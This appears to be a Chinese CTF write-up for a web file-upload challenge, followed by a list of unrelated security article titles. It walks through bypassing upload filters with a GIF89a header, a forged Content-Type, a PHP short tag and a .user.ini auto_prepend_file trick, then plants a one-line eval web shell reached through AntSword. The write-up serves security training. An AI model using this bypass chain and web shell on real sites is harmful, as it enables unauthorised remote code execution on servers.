攻防世界-web-ctf-upload

题目场景

查看源码

毫无有效的数据

官方WriteUp

本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

这里需要绕过的点如下

检查文件内容是否有php字符串

检查后缀中是否有htaccess或ph

检查文件头部信息

文件MIME类型

对于第一点可以利用短标签绕过,例如<?=phpinfo();?>

对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,可以参考以下文章

.user.ini文件构成的PHP后门 - phith0n

在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。

这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。

其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a

第四点绕过方法即修改上传时的Content-Type

因此最终的payload为:

上传.user.ini,内容为

GIF89a

auto_prepend_file=a.jpg

上传a.jpg,内容为

GIF89a

<?=eval($_POST['cmd']);?>

BP抓包

上传.user.ini

再上传a.jpg

F12查看文件去向

蚁剑连接

找到flag

相关推荐
W-GEO8 分钟前
前端安全攻防:XSS, CSRF 等常见威胁的防范与检测指南
前端·安全·xss
华强笔记19 分钟前
KGDB(Kernel GNU Debugger)工具使用方法详解
网络·安全·gnu
愿时间能学会宽恕34 分钟前
SpringBoot后端开发常用工具详细介绍——SpringSecurity认证用户保证安全
spring boot·后端·安全
Highcharts.js11 小时前
Highcharts 数据源安全最佳实践:保障数据安全,助力可视化可信部署
安全·highcharts
Suckerbin11 小时前
LAMPSecurity: CTF5靶场渗透
笔记·安全·web安全·网络安全
水兵没月12 小时前
解决Win11 安全中心删掉存在隐患的工具
安全
码农101号12 小时前
运维安全04 - iptable的介绍以及使用
安全
行思理16 小时前
linux 安全与防护,全方向讲解
linux·安全·github
深盾安全17 小时前
Flutter框架编译Android程序全攻略:从入门到进阶
安全
房屋安全鉴定检测17 小时前
房屋安全鉴定报告有效期多久
安全·网络安全